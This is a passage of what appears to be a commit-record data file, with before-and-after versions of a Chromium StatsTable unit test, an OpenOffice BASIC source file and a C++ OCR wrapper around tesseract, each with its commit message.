zero_counter.Set(0);\n    lucky13_counter.Set(1313);\n    increment_counter.Increment();\n    decrement_counter.Decrement();\n    if (id_ % 2)\n      mixed_counter.Decrement();\n    else\n      mixed_counter.Increment();\n    PlatformThread::Sleep(index % 10);   \/\/ short wait\n  }\n}\n\n\/\/ Create a few threads and have them poke on their counters.\n\/\/ Currently disabled. See bug report below:\n\/\/ TODO(maruel): http:\/\/crbug.com\/10611\nTEST_F(StatsTableTest, MultipleThreads) {\n#if 0\n  \/\/ Create a stats table.\n  const std::string kTableName = \"MultipleThreadStatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  DeleteShmem(kTableName);\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  EXPECT_EQ(0, table.CountThreadsRegistered());\n\n  \/\/ Spin up a set of threads to go bang on the various counters.\n  \/\/ After we join the threads, we'll make sure the counters\n  \/\/ contain the values we expected.\n  StatsTableThread* threads[kMaxThreads];\n\n  \/\/ Spawn the threads.\n  for (int index = 0; index < kMaxThreads; index++) {\n    threads[index] = new StatsTableThread(\"MultipleThreadsTest\", index);\n    threads[index]->Start();\n  }\n\n  \/\/ Wait for the threads to finish.\n  for (int index = 0; index < kMaxThreads; index++) {\n    threads[index]->Join();\n    delete threads[index];\n  }\n\n  StatsCounter zero_counter(kCounterZero);\n  StatsCounter lucky13_counter(kCounter1313);\n  StatsCounter increment_counter(kCounterIncrement);\n  StatsCounter decrement_counter(kCounterDecrement);\n  StatsCounter mixed_counter(kCounterMixed);\n\n  \/\/ Verify the various counters are correct.\n  std::string name;\n  name = \"c:\" + kCounterZero;\n  EXPECT_EQ(0, table.GetCounterValue(name));\n  name = \"c:\" + kCounter1313;\n  EXPECT_EQ(1313 * kMaxThreads,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterIncrement;\n  EXPECT_EQ(kMaxThreads * kThreadLoops,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterDecrement;\n  EXPECT_EQ(-kMaxThreads * kThreadLoops,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterMixed;\n  EXPECT_EQ((kMaxThreads % 2) * kThreadLoops,\n      table.GetCounterValue(name));\n  EXPECT_EQ(0, table.CountThreadsRegistered());\n\n  DeleteShmem(kTableName);\n#endif\n}\n\nconst std::string kMPTableName = \"MultipleProcessStatTable\";\n\nMULTIPROCESS_TEST_MAIN(StatsTableMultipleProcessMain) {\n  \/\/ Each process will open the shared memory and set counters\n  \/\/ concurrently in a loop.  We'll use some pauses to\n  \/\/ mixup the scheduling.\n\n  StatsTable table(kMPTableName, 0, 0);\n  StatsTable::set_current(&table);\n  StatsCounter zero_counter(kCounterZero);\n  StatsCounter lucky13_counter(kCounter1313);\n  StatsCounter increment_counter(kCounterIncrement);\n  StatsCounter decrement_counter(kCounterDecrement);\n  for (int index = 0; index < kThreadLoops; index++) {\n    zero_counter.Set(0);\n    lucky13_counter.Set(1313);\n    increment_counter.Increment();\n    decrement_counter.Decrement();\n    PlatformThread::Sleep(index % 10);   \/\/ short wait\n  }\n  return 0;\n}\n\n\/\/ Create a few processes and have them poke on their counters.\nTEST_F(StatsTableTest, MultipleProcesses) {\n  \/\/ Create a stats table.\n  const int kMaxProcs = 20;\n  const int kMaxCounter = 5;\n  DeleteShmem(kMPTableName);\n  StatsTable table(kMPTableName, kMaxProcs, kMaxCounter);\n  StatsTable::set_current(&table);\n  EXPECT_EQ(0, table.CountThreadsRegistered());\n\n  \/\/ Spin up a set of processes to go bang on the various counters.\n  \/\/ After we join the processes, we'll make sure the counters\n  \/\/ contain the values we expected.\n  ProcessHandle procs[kMaxProcs];\n\n  \/\/ Spawn the processes.\n  for (int16 index = 0; index < kMaxProcs; index++) {\n    procs[index] = this->SpawnChild(L\"StatsTableMultipleProcessMain\");\n    EXPECT_NE(base::kNullProcessHandle, procs[index]);\n  }\n\n  \/\/ Wait for the processes to finish.\n  for (int index = 0; index < kMaxProcs; index++) {\n    EXPECT_TRUE(WaitForSingleProcess(procs[index], 60 * 1000));\n    base::CloseProcessHandle(procs[index]);\n  }\n\n  StatsCounter zero_counter(kCounterZero);\n  StatsCounter lucky13_counter(kCounter1313);\n  StatsCounter increment_counter(kCounterIncrement);\n  StatsCounter decrement_counter(kCounterDecrement);\n\n  \/\/ Verify the various counters are correct.\n  std::string name;\n  name = \"c:\" + kCounterZero;\n  EXPECT_EQ(0, table.GetCounterValue(name));\n  name = \"c:\" + kCounter1313;\n  EXPECT_EQ(1313 * kMaxProcs,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterIncrement;\n  EXPECT_EQ(kMaxProcs * kThreadLoops,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterDecrement;\n  EXPECT_EQ(-kMaxProcs * kThreadLoops,\n      table.GetCounterValue(name));\n  EXPECT_EQ(0, table.CountThreadsRegistered());\n\n  DeleteShmem(kMPTableName);\n}\n\nclass MockStatsCounter : public StatsCounter {\n public:\n  explicit MockStatsCounter(const std::string& name)\n      : StatsCounter(name) {}\n  int* Pointer() { return GetPtr(); }\n};\n\n\/\/ Test some basic StatsCounter operations\nTEST_F(StatsTableTest, StatsCounter) {\n  \/\/ Create a stats table.\n  const std::string kTableName = \"StatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  DeleteShmem(kTableName);\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  MockStatsCounter foo(\"foo\");\n\n  \/\/ Test initial state.\n  EXPECT_TRUE(foo.Enabled());\n  ASSERT_NE(foo.Pointer(), static_cast<int*>(0));\n  EXPECT_EQ(0, *(foo.Pointer()));\n  EXPECT_EQ(0, table.GetCounterValue(\"c:foo\"));\n\n  \/\/ Test Increment.\n  while (*(foo.Pointer()) < 123) foo.Increment();\n  EXPECT_EQ(123, table.GetCounterValue(\"c:foo\"));\n  foo.Add(0);\n  EXPECT_EQ(123, table.GetCounterValue(\"c:foo\"));\n  foo.Add(-1);\n  EXPECT_EQ(122, table.GetCounterValue(\"c:foo\"));\n\n  \/\/ Test Set.\n  foo.Set(0);\n  EXPECT_EQ(0, table.GetCounterValue(\"c:foo\"));\n  foo.Set(100);\n  EXPECT_EQ(100, table.GetCounterValue(\"c:foo\"));\n  foo.Set(-1);\n  EXPECT_EQ(-1, table.GetCounterValue(\"c:foo\"));\n  foo.Set(0);\n  EXPECT_EQ(0, table.GetCounterValue(\"c:foo\"));\n\n  \/\/ Test Decrement.\n  foo.Subtract(1);\n  EXPECT_EQ(-1, table.GetCounterValue(\"c:foo\"));\n  foo.Subtract(0);\n  EXPECT_EQ(-1, table.GetCounterValue(\"c:foo\"));\n  foo.Subtract(-1);\n  EXPECT_EQ(0, table.GetCounterValue(\"c:foo\"));\n\n  DeleteShmem(kTableName);\n}\n\nclass MockStatsCounterTimer : public StatsCounterTimer {\n public:\n  explicit MockStatsCounterTimer(const std::string& name)\n      : StatsCounterTimer(name) {}\n\n  TimeTicks start_time() { return start_time_; }\n  TimeTicks stop_time() { return stop_time_; }\n};\n\n\/\/ Test some basic StatsCounterTimer operations\nTEST_F(StatsTableTest, StatsCounterTimer) {\n  \/\/ Create a stats table.\n  const std::string kTableName = \"StatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  MockStatsCounterTimer bar(\"bar\");\n\n  \/\/ Test initial state.\n  EXPECT_FALSE(bar.Running());\n  EXPECT_TRUE(bar.start_time().is_null());\n  EXPECT_TRUE(bar.stop_time().is_null());\n\n  \/\/ Do some timing.\n  bar.Start();\n  PlatformThread::Sleep(500);\n  bar.Stop();\n  EXPECT_LE(500, table.GetCounterValue(\"t:bar\"));\n\n  \/\/ Verify that timing again is additive.\n  bar.Start();\n  PlatformThread::Sleep(500);\n  bar.Stop();\n  EXPECT_LE(1000, table.GetCounterValue(\"t:bar\"));\n}\n\n\/\/ Test some basic StatsRate operations\nTEST_F(StatsTableTest, StatsRate) {\n  \/\/ Create a stats table.\n  const std::string kTableName = \"StatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  StatsRate baz(\"baz\");\n\n  \/\/ Test initial state.\n  EXPECT_FALSE(baz.Running());\n  EXPECT_EQ(0, table.GetCounterValue(\"c:baz\"));\n  EXPECT_EQ(0, table.GetCounterValue(\"t:baz\"));\n\n  \/\/ Do some timing.\n  baz.Start();\n  PlatformThread::Sleep(500);\n  baz.Stop();\n  EXPECT_EQ(1, table.GetCounterValue(\"c:baz\"));\n  EXPECT_LE(500, table.GetCounterValue(\"t:baz\"));\n\n  \/\/ Verify that timing again is additive.\n  baz.Start();\n  PlatformThread::Sleep(500);\n  baz.Stop();\n  EXPECT_EQ(2, table.GetCounterValue(\"c:baz\"));\n  EXPECT_LE(1000, table.GetCounterValue(\"t:baz\"));\n}\n\n\/\/ Test some basic StatsScope operations\nTEST_F(StatsTableTest, StatsScope) {\n  \/\/ Create a stats table.\n  const std::string kTableName = \"StatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  DeleteShmem(kTableName);\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  StatsCounterTimer foo(\"foo\");\n  StatsRate bar(\"bar\");\n\n  \/\/ Test initial state.\n  EXPECT_EQ(0, table.GetCounterValue(\"t:foo\"));\n  EXPECT_EQ(0, table.GetCounterValue(\"t:bar\"));\n  EXPECT_EQ(0, table.GetCounterValue(\"c:bar\"));\n\n  \/\/ Try a scope.\n  {\n    StatsScope<StatsCounterTimer> timer(foo);\n    StatsScope<StatsRate> timer2(bar);\n    PlatformThread::Sleep(500);\n  }\n  EXPECT_LE(500, table.GetCounterValue(\"t:foo\"));\n  EXPECT_LE(500, table.GetCounterValue(\"t:bar\"));\n  EXPECT_EQ(1, table.GetCounterValue(\"c:bar\"));\n\n  \/\/ Try a second scope.\n  {\n    StatsScope<StatsCounterTimer> timer(foo);\n    StatsScope<StatsRate> timer2(bar);\n    PlatformThread::Sleep(500);\n  }\n  EXPECT_LE(1000, table.GetCounterValue(\"t:foo\"));\n  EXPECT_LE(1000, table.GetCounterValue(\"t:bar\"));\n  EXPECT_EQ(2, table.GetCounterValue(\"c:bar\"));\n\n  DeleteShmem(kTableName);\n}\n\n}  \/\/ namespace base\n<commit_msg>Mark StatsTableTest.MultipleThreads as flaky instead of using #if 0.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#if defined(OS_WIN)\n#include <process.h>\n#include <windows.h>\n#endif\n\n#include \"base\/multiprocess_test.h\"\n#include \"base\/platform_thread.h\"\n#include \"base\/simple_thread.h\"\n#include \"base\/shared_memory.h\"\n#include \"base\/stats_table.h\"\n#include \"base\/stats_counters.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"testing\/multiprocess_func_list.h\"\n\nnamespace base {\n\nclass StatsTableTest : public MultiProcessTest {\n public:\n  void DeleteShmem(std::string name) {\n    base::SharedMemory mem;\n    mem.Delete(UTF8ToWide(name));\n  }\n};\n\n\/\/ Open a StatsTable and verify that we can write to each of the\n\/\/ locations in the table.\nTEST_F(StatsTableTest, VerifySlots) {\n  const std::string kTableName = \"VerifySlotsStatTable\";\n  const int kMaxThreads = 1;\n  const int kMaxCounter = 5;\n  DeleteShmem(kTableName);\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n\n  \/\/ Register a single thread.\n  std::string thread_name = \"mainThread\";\n  int slot_id = table.RegisterThread(thread_name);\n  EXPECT_NE(slot_id, 0);\n\n  \/\/ Fill up the table with counters.\n  std::string counter_base_name = \"counter\";\n  for (int index = 0; index < kMaxCounter; index++) {\n    std::string counter_name = counter_base_name;\n    StringAppendF(&counter_name, \"counter.ctr%d\", index);\n    int counter_id = table.FindCounter(counter_name);\n    EXPECT_GT(counter_id, 0);\n  }\n\n  \/\/ Try to allocate an additional thread.  Verify it fails.\n  slot_id = table.RegisterThread(\"too many threads\");\n  EXPECT_EQ(slot_id, 0);\n\n  \/\/ Try to allocate an additional counter.  Verify it fails.\n  int counter_id = table.FindCounter(counter_base_name);\n  EXPECT_EQ(counter_id, 0);\n\n  DeleteShmem(kTableName);\n}\n\n\/\/ CounterZero will continually be set to 0.\nconst std::string kCounterZero = \"CounterZero\";\n\/\/ Counter1313 will continually be set to 1313.\nconst std::string kCounter1313 = \"Counter1313\";\n\/\/ CounterIncrement will be incremented each time.\nconst std::string kCounterIncrement = \"CounterIncrement\";\n\/\/ CounterDecrement will be decremented each time.\nconst std::string kCounterDecrement = \"CounterDecrement\";\n\/\/ CounterMixed will be incremented by odd numbered threads and\n\/\/ decremented by even threads.\nconst std::string kCounterMixed = \"CounterMixed\";\n\/\/ The number of thread loops that we will do.\nconst int kThreadLoops = 1000;\n\nclass StatsTableThread : public base::SimpleThread {\n public:\n  StatsTableThread(std::string name, int id)\n      : base::SimpleThread(name), id_(id) { }\n  virtual void Run();\n private:\n  int id_;\n};\n\nvoid StatsTableThread::Run() {\n  \/\/ Each thread will open the shared memory and set counters\n  \/\/ concurrently in a loop.  We'll use some pauses to\n  \/\/ mixup the thread scheduling.\n\n  StatsCounter zero_counter(kCounterZero);\n  StatsCounter lucky13_counter(kCounter1313);\n  StatsCounter increment_counter(kCounterIncrement);\n  StatsCounter decrement_counter(kCounterDecrement);\n  for (int index = 0; index < kThreadLoops; index++) {\n    StatsCounter mixed_counter(kCounterMixed);  \/\/ create this one in the loop\n    zero_counter.Set(0);\n    lucky13_counter.Set(1313);\n    increment_counter.Increment();\n    decrement_counter.Decrement();\n    if (id_ % 2)\n      mixed_counter.Decrement();\n    else\n      mixed_counter.Increment();\n    PlatformThread::Sleep(index % 10);   \/\/ short wait\n  }\n}\n\n\/\/ Create a few threads and have them poke on their counters.\n\/\/ Currently disabled. See bug report below:\n\/\/ Flaky, http:\/\/crbug.com\/10611\nTEST_F(StatsTableTest, FLAKY_MultipleThreads) {\n  \/\/ Create a stats table.\n  const std::string kTableName = \"MultipleThreadStatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  DeleteShmem(kTableName);\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  EXPECT_EQ(0, table.CountThreadsRegistered());\n\n  \/\/ Spin up a set of threads to go bang on the various counters.\n  \/\/ After we join the threads, we'll make sure the counters\n  \/\/ contain the values we expected.\n  StatsTableThread* threads[kMaxThreads];\n\n  \/\/ Spawn the threads.\n  for (int index = 0; index < kMaxThreads; index++) {\n    threads[index] = new StatsTableThread(\"MultipleThreadsTest\", index);\n    threads[index]->Start();\n  }\n\n  \/\/ Wait for the threads to finish.\n  for (int index = 0; index < kMaxThreads; index++) {\n    threads[index]->Join();\n    delete threads[index];\n  }\n\n  StatsCounter zero_counter(kCounterZero);\n  StatsCounter lucky13_counter(kCounter1313);\n  StatsCounter increment_counter(kCounterIncrement);\n  StatsCounter decrement_counter(kCounterDecrement);\n  StatsCounter mixed_counter(kCounterMixed);\n\n  \/\/ Verify the various counters are correct.\n  std::string name;\n  name = \"c:\" + kCounterZero;\n  EXPECT_EQ(0, table.GetCounterValue(name));\n  name = \"c:\" + kCounter1313;\n  EXPECT_EQ(1313 * kMaxThreads,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterIncrement;\n  EXPECT_EQ(kMaxThreads * kThreadLoops,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterDecrement;\n  EXPECT_EQ(-kMaxThreads * kThreadLoops,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterMixed;\n  EXPECT_EQ((kMaxThreads % 2) * kThreadLoops,\n      table.GetCounterValue(name));\n  EXPECT_EQ(0, table.CountThreadsRegistered());\n\n  DeleteShmem(kTableName);\n}\n\nconst std::string kMPTableName = \"MultipleProcessStatTable\";\n\nMULTIPROCESS_TEST_MAIN(StatsTableMultipleProcessMain) {\n  \/\/ Each process will open the shared memory and set counters\n  \/\/ concurrently in a loop.  We'll use some pauses to\n  \/\/ mixup the scheduling.\n\n  StatsTable table(kMPTableName, 0, 0);\n  StatsTable::set_current(&table);\n  StatsCounter zero_counter(kCounterZero);\n  StatsCounter lucky13_counter(kCounter1313);\n  StatsCounter increment_counter(kCounterIncrement);\n  StatsCounter decrement_counter(kCounterDecrement);\n  for (int index = 0; index < kThreadLoops; index++) {\n    zero_counter.Set(0);\n    lucky13_counter.Set(1313);\n    increment_counter.Increment();\n    decrement_counter.Decrement();\n    PlatformThread::Sleep(index % 10);   \/\/ short wait\n  }\n  return 0;\n}\n\n\/\/ Create a few processes and have them poke on their counters.\nTEST_F(StatsTableTest, MultipleProcesses) {\n  \/\/ Create a stats table.\n  const int kMaxProcs = 20;\n  const int kMaxCounter = 5;\n  DeleteShmem(kMPTableName);\n  StatsTable table(kMPTableName, kMaxProcs, kMaxCounter);\n  StatsTable::set_current(&table);\n  EXPECT_EQ(0, table.CountThreadsRegistered());\n\n  \/\/ Spin up a set of processes to go bang on the various counters.\n  \/\/ After we join the processes, we'll make sure the counters\n  \/\/ contain the values we expected.\n  ProcessHandle procs[kMaxProcs];\n\n  \/\/ Spawn the processes.\n  for (int16 index = 0; index < kMaxProcs; index++) {\n    procs[index] = this->SpawnChild(L\"StatsTableMultipleProcessMain\");\n    EXPECT_NE(base::kNullProcessHandle, procs[index]);\n  }\n\n  \/\/ Wait for the processes to finish.\n  for (int index = 0; index < kMaxProcs; index++) {\n    EXPECT_TRUE(WaitForSingleProcess(procs[index], 60 * 1000));\n    base::CloseProcessHandle(procs[index]);\n  }\n\n  StatsCounter zero_counter(kCounterZero);\n  StatsCounter lucky13_counter(kCounter1313);\n  StatsCounter increment_counter(kCounterIncrement);\n  StatsCounter decrement_counter(kCounterDecrement);\n\n  \/\/ Verify the various counters are correct.\n  std::string name;\n  name = \"c:\" + kCounterZero;\n  EXPECT_EQ(0, table.GetCounterValue(name));\n  name = \"c:\" + kCounter1313;\n  EXPECT_EQ(1313 * kMaxProcs,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterIncrement;\n  EXPECT_EQ(kMaxProcs * kThreadLoops,\n      table.GetCounterValue(name));\n  name = \"c:\" + kCounterDecrement;\n  EXPECT_EQ(-kMaxProcs * kThreadLoops,\n      table.GetCounterValue(name));\n  EXPECT_EQ(0, table.CountThreadsRegistered());\n\n  DeleteShmem(kMPTableName);\n}\n\nclass MockStatsCounter : public StatsCounter {\n public:\n  explicit MockStatsCounter(const std::string& name)\n      : StatsCounter(name) {}\n  int* Pointer() { return GetPtr(); }\n};\n\n\/\/ Test some basic StatsCounter operations\nTEST_F(StatsTableTest, StatsCounter) {\n  \/\/ Create a stats table.\n  const std::string kTableName = \"StatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  DeleteShmem(kTableName);\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  MockStatsCounter foo(\"foo\");\n\n  \/\/ Test initial state.\n  EXPECT_TRUE(foo.Enabled());\n  ASSERT_NE(foo.Pointer(), static_cast<int*>(0));\n  EXPECT_EQ(0, *(foo.Pointer()));\n  EXPECT_EQ(0, table.GetCounterValue(\"c:foo\"));\n\n  \/\/ Test Increment.\n  while (*(foo.Pointer()) < 123) foo.Increment();\n  EXPECT_EQ(123, table.GetCounterValue(\"c:foo\"));\n  foo.Add(0);\n  EXPECT_EQ(123, table.GetCounterValue(\"c:foo\"));\n  foo.Add(-1);\n  EXPECT_EQ(122, table.GetCounterValue(\"c:foo\"));\n\n  \/\/ Test Set.\n  foo.Set(0);\n  EXPECT_EQ(0, table.GetCounterValue(\"c:foo\"));\n  foo.Set(100);\n  EXPECT_EQ(100, table.GetCounterValue(\"c:foo\"));\n  foo.Set(-1);\n  EXPECT_EQ(-1, table.GetCounterValue(\"c:foo\"));\n  foo.Set(0);\n  EXPECT_EQ(0, table.GetCounterValue(\"c:foo\"));\n\n  \/\/ Test Decrement.\n  foo.Subtract(1);\n  EXPECT_EQ(-1, table.GetCounterValue(\"c:foo\"));\n  foo.Subtract(0);\n  EXPECT_EQ(-1, table.GetCounterValue(\"c:foo\"));\n  foo.Subtract(-1);\n  EXPECT_EQ(0, table.GetCounterValue(\"c:foo\"));\n\n  DeleteShmem(kTableName);\n}\n\nclass MockStatsCounterTimer : public StatsCounterTimer {\n public:\n  explicit MockStatsCounterTimer(const std::string& name)\n      : StatsCounterTimer(name) {}\n\n  TimeTicks start_time() { return start_time_; }\n  TimeTicks stop_time() { return stop_time_; }\n};\n\n\/\/ Test some basic StatsCounterTimer operations\nTEST_F(StatsTableTest, StatsCounterTimer) {\n  \/\/ Create a stats table.\n  const std::string kTableName = \"StatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  MockStatsCounterTimer bar(\"bar\");\n\n  \/\/ Test initial state.\n  EXPECT_FALSE(bar.Running());\n  EXPECT_TRUE(bar.start_time().is_null());\n  EXPECT_TRUE(bar.stop_time().is_null());\n\n  \/\/ Do some timing.\n  bar.Start();\n  PlatformThread::Sleep(500);\n  bar.Stop();\n  EXPECT_LE(500, table.GetCounterValue(\"t:bar\"));\n\n  \/\/ Verify that timing again is additive.\n  bar.Start();\n  PlatformThread::Sleep(500);\n  bar.Stop();\n  EXPECT_LE(1000, table.GetCounterValue(\"t:bar\"));\n}\n\n\/\/ Test some basic StatsRate operations\nTEST_F(StatsTableTest, StatsRate) {\n  \/\/ Create a stats table.\n  const std::string kTableName = \"StatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  StatsRate baz(\"baz\");\n\n  \/\/ Test initial state.\n  EXPECT_FALSE(baz.Running());\n  EXPECT_EQ(0, table.GetCounterValue(\"c:baz\"));\n  EXPECT_EQ(0, table.GetCounterValue(\"t:baz\"));\n\n  \/\/ Do some timing.\n  baz.Start();\n  PlatformThread::Sleep(500);\n  baz.Stop();\n  EXPECT_EQ(1, table.GetCounterValue(\"c:baz\"));\n  EXPECT_LE(500, table.GetCounterValue(\"t:baz\"));\n\n  \/\/ Verify that timing again is additive.\n  baz.Start();\n  PlatformThread::Sleep(500);\n  baz.Stop();\n  EXPECT_EQ(2, table.GetCounterValue(\"c:baz\"));\n  EXPECT_LE(1000, table.GetCounterValue(\"t:baz\"));\n}\n\n\/\/ Test some basic StatsScope operations\nTEST_F(StatsTableTest, StatsScope) {\n  \/\/ Create a stats table.\n  const std::string kTableName = \"StatTable\";\n  const int kMaxThreads = 20;\n  const int kMaxCounter = 5;\n  DeleteShmem(kTableName);\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n  StatsTable::set_current(&table);\n\n  StatsCounterTimer foo(\"foo\");\n  StatsRate bar(\"bar\");\n\n  \/\/ Test initial state.\n  EXPECT_EQ(0, table.GetCounterValue(\"t:foo\"));\n  EXPECT_EQ(0, table.GetCounterValue(\"t:bar\"));\n  EXPECT_EQ(0, table.GetCounterValue(\"c:bar\"));\n\n  \/\/ Try a scope.\n  {\n    StatsScope<StatsCounterTimer> timer(foo);\n    StatsScope<StatsRate> timer2(bar);\n    PlatformThread::Sleep(500);\n  }\n  EXPECT_LE(500, table.GetCounterValue(\"t:foo\"));\n  EXPECT_LE(500, table.GetCounterValue(\"t:bar\"));\n  EXPECT_EQ(1, table.GetCounterValue(\"c:bar\"));\n\n  \/\/ Try a second scope.\n  {\n    StatsScope<StatsCounterTimer> timer(foo);\n    StatsScope<StatsRate> timer2(bar);\n    PlatformThread::Sleep(500);\n  }\n  EXPECT_LE(1000, table.GetCounterValue(\"t:foo\"));\n  EXPECT_LE(1000, table.GetCounterValue(\"t:bar\"));\n  EXPECT_EQ(2, table.GetCounterValue(\"c:bar\"));\n\n  DeleteShmem(kTableName);\n}\n\n}  \/\/ namespace base\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: ttbasic.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: hr $ $Date: 2005-09-29 15:57:56 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#include \"mybasic.hxx\"\n#include \"ttbasic.hxx\"\n\nMyBasic* TTBasic::CreateMyBasic()\n{\n    return new MyBasic;\n}\n<commit_msg>INTEGRATION: CWS pchfix02 (1.5.118); FILE MERGED 2006\/09\/01 17:16:59 kaib 1.5.118.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: ttbasic.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 09:58:43 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_basic.hxx\"\n#include \"mybasic.hxx\"\n#include \"ttbasic.hxx\"\n\nMyBasic* TTBasic::CreateMyBasic()\n{\n    return new MyBasic;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"OCR.h\"\n#include <fstream>\n#include <stdexcept>\n#include <cassert>\n#include <cerrno>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <signal.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n#include \"ExecUtil.h\"\n#include \"FileUtil.h\"\n#include \"util.h\"\n\n\nconst std::string TESSERACT(\"\/usr\/bin\/tesseract\");\nconst int TIMEOUT(20); \/\/ in seconds\n\n\nint OCR(const std::string &input_document_path, const std::string &output_document_path,\n        const std::string &language_codes)\n{\n    if (::access(TESSERACT.c_str(), X_OK) != 0)\n        throw std::runtime_error(\"in OCR: can't execute \\\"\" + TESSERACT + \"\\\"!\");\n\n    if (not language_codes.empty() and language_codes.length() < 3)\n        throw std::runtime_error(\"in OCR: incorrect language code \\\"\" + language_codes + \"\\\"!\");\n\n    std::vector<std::string> args{ TESSERACT, input_document_path, \"stdout\" };\n    if (not language_codes.empty()) {\n        args.emplace_back(\"-l\");\n        args.emplace_back(language_codes);\n    }\n\n    return ExecUtil::Exec(TESSERACT, args, \"\", output_document_path, \"\", TIMEOUT) == 0;\n}\n\n\nint OCR(const std::string &input_document_path, const std::string &language_codes, std::string * const output) {\n    const FileUtil::AutoTempFile auto_temp_file;\n    const std::string &output_filename(auto_temp_file.getFilePath());\n    const int retval = OCR(input_document_path, output_filename, language_codes);\n    if (retval == 0) {\n        if (not ReadFile(output_filename, output))\n            return -1;\n    }\n\n    return retval;\n}\n\n\nint OCR(const std::string &input_document, std::string * const output, const std::string &language_codes) {\n    const FileUtil::AutoTempFile auto_temp_file;\n    const std::string input_filename(auto_temp_file.getFilePath());\n    std::ofstream ocr_input(input_filename);\n    if (ocr_input.fail())\n        return -1;\n    ocr_input.write(input_document.data(), input_document.size());\n    if (ocr_input.fail())\n        return -1;\n\n    return OCR(input_filename, output, language_codes);\n}\n<commit_msg>which tesseract<commit_after>#include \"OCR.h\"\n#include <fstream>\n#include <stdexcept>\n#include <cassert>\n#include <cerrno>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <signal.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n#include \"ExecUtil.h\"\n#include \"FileUtil.h\"\n#include \"util.h\"\n\n\nconst std::string TESSERACT(ExecUtil::Which(\"tesseract\"));\nconst int TIMEOUT(20); \/\/ in seconds\n\n\nint OCR(const std::string &input_document_path, const std::string &output_document_path,\n        const std::string &language_codes)\n{\n    if (::access(TESSERACT.c_str(), X_OK) != 0)\n        throw std::runtime_error(\"in OCR: can't execute \\\"\" + 